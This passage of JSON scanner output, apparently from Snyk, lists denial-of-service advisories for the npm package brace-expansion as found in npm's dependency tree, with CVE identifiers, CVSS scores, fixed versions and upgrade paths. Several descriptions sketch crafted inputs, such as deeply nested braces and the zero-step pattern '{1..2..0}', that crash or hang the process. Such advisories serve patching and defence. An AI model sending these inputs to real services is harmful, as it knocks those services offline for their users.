"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
